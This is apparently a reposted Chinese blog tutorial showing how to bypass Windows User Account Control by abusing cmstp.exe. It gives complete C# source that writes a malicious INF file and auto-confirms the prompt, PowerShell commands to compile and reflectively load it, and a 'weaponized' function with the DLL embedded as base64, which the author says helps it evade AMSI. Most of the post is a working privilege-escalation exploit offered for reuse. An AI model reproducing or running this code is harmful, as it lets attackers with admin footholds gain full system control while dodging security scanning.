内容简介:本文将介绍如何使用PowerShell脚本来绕过UAC,也就是说,我们将使用属于本地管理员的中级完整性级别(Medium Integrity)的进程来生成高级完整性级别(High Integrity)的进程。UAC(User Account Control,用户账户控制)是Windows 7及后续Windows系统引入的一种安全功能,启用该功能后,在用户没有显示允许的情况下,即便是本地管理员账户也无法更改操作系统。我们经常看到桌面用户使用的是管理员账户(虽然不推荐,但这种做法已司空见惯),因此即使恶意软件
一、前言
本文将介绍如何使用PowerShell脚本来绕过UAC,也就是说,我们将使用属于本地管理员的中级完整性级别(Medium Integrity)的进程来生成高级完整性级别(High Integrity)的进程。
二、UAC简介
UAC(User Account Control,用户账户控制)是Windows 7及后续Windows系统引入的一种安全功能,启用该功能后,在用户没有显示允许的情况下,即便是本地管理员账户也无法更改操作系统。我们经常看到桌面用户使用的是管理员账户(虽然不推荐,但这种做法已司空见惯),因此即使恶意软件掌握了本地管理员账户,想修改注册表中的某些信息,或者在系统中创建一个新的服务,UAC也会及时阻止这类行为。
后来研究人员找到了绕过该机制的方法,并且从Windows 7以来已经有许多方法可以绕过UAC。这种情况非常常见,以至于微软将这类问题当成“非优先”安全问题来处理。
为了检查我们的进程是否处于Medium Integrity级别,我们可以运行 whoami /priv
命令,检查可用的所有权限:
处于Medium Integrity级别的某个进程如上图所示,可知该进程并没有拥有所有权限。
当我们“以管理员”身份启动命令提示符,再次运行 whoami /priv
时,我们可以看到更多的权限信息。
三、如何在较新Windows 版本中绕过 UAC
我在互联网上找了可能影响我自己主机的一些绕过方法,发现Oddvar Moe已经做了比较精彩的研究,可以利用微软的 cmstp.exe
来绕过UAC。
进一步阅读Oddvar的相关博客后,我偶然发现了Tyler Applebaum写的PowerShell脚本,也能触发这个漏洞。
在这些知识的帮助下,我决定继续研究这种技术,开发我自己的工具。为了保证工作的原创性,我选择使用C#编写代码,这样我们就能生成带有DLL反射的PowerShell脚本,并且字符数较少,这样AMSI就很难阻止我们的载荷。
我开发的C#代码如下所示:
/* UAC Bypass using CMSTP.exe microsoft binary Based on previous work from Oddvar Moe <a href="https://oddvar.moe/2017/08/15/research-on-cmstp-exe/">Research on CMSTP.exe</a> And this PowerShell script of Tyler Applebaum https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 Code author: Andre Marques (@_zc00l) */ using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Windows; using System.Runtime.InteropServices; public class CMSTPBypass { // Our .INF file data! public static string InfData = @"[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall] CustomDestination=CustInstDestSectionAllUsers RunPreSetupCommands=RunPreSetupCommandsSection [RunPreSetupCommandsSection] ; Commands Here will be run Before Setup Begins to install REPLACE_COMMAND_LINE taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000,49001=AllUSer_LDIDSection, 7 [AllUSer_LDIDSection] ""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """" [Strings] ServiceName=""CorpVPN"" ShortSvcName=""CorpVPN"" "; [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd); public static string BinaryPath = "c:\windows\system32\cmstp.exe"; /* Generates a random named .inf file with command to be executed with UAC privileges */ public static string SetInfFile(string CommandToExecute) { string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0]; string TemporaryDir = "C:\windows\temp"; StringBuilder OutputFile = new StringBuilder(); OutputFile.Append(TemporaryDir); OutputFile.Append("\"); OutputFile.Append(RandomFileName); OutputFile.Append(".inf"); StringBuilder newInfData = new StringBuilder(InfData); newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute); File.WriteAllText(OutputFile.ToString(), newInfData.ToString()); return OutputFile.ToString(); } public static bool Execute(string CommandToExecute) { if(!File.Exists(BinaryPath)) { Console.WriteLine("Could not find cmstp.exe binary!"); return false; } StringBuilder InfFile = new StringBuilder(); InfFile.Append(SetInfFile(CommandToExecute)); Console.WriteLine("Payload file written to " + InfFile.ToString()); ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath); startInfo.Arguments = "/au " + InfFile.ToString(); startInfo.UseShellExecute = false; Process.Start(startInfo); IntPtr windowHandle = new IntPtr(); windowHandle = IntPtr.Zero; do { windowHandle = SetWindowActive("cmstp"); } while (windowHandle == IntPtr.Zero); System.Windows.Forms.SendKeys.SendWait("{ENTER}"); return true; } public static IntPtr SetWindowActive(string ProcessName) { Process[] target = Process.GetProcessesByName(ProcessName); if(target.Length == 0) return IntPtr.Zero; target[0].Refresh(); IntPtr WindowHandle = new IntPtr(); WindowHandle = target[0].MainWindowHandle; if(WindowHandle == IntPtr.Zero) return IntPtr.Zero; SetForegroundWindow(WindowHandle); ShowWindow(WindowHandle, 5); return WindowHandle; } }
将其重命名为 Source.cs
,然后在同一个目录下,使用PowerShell运行如下命令编译这段代码:
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
结果可以生成一个 dll
文件。
为了使用DLL中的绕过代码,我们可以使用如下PowerShell技巧:
PS C:> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll")) GAC Version Location --- ------- -------- False v4.0.30319 PS C:> [CMSTPBypass]::Execute("C:WindowsSystem32cmd.exe")
然后我们就可以看到系统创建了一个高级完整性等级的 cmd.exe
!
结果如上图所示,我们从一个非UAC进程中生成了一个管理员级别的进程!
我在Windows 10 build 17134,1803版上测试过这种技术,结果非常顺利。
四、使用PowerShell完成武器化部署
现在我们来实现自动化利用。为了创建PowerShell脚本来利用这种技术,我使用了经常用到了DLL反射技巧,如下所示:
function Bypass-UAC { Param( [Parameter(Mandatory = $true, Position = 0)] [string]$Command ) if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAIABQAGEAdABoAHMAXABDAE0ATQBHAFIAMwAyAC4ARQB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| Out-Null } [CMSTPBypass]::Execute($Command) }
这段代码已经足够完成任务。我们可以导入该函数,利用如下方式加以执行,最终生成高权限的进程。
希望大家进一步了解这种技术。获取本地管理员账户后,绕过UAC就成为一个非常重要的步骤。绕过UAC后,我们可以轻松搞定整个系统。
以上所述就是小编给大家介绍的《如何绕过新版Windows的UAC机制》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
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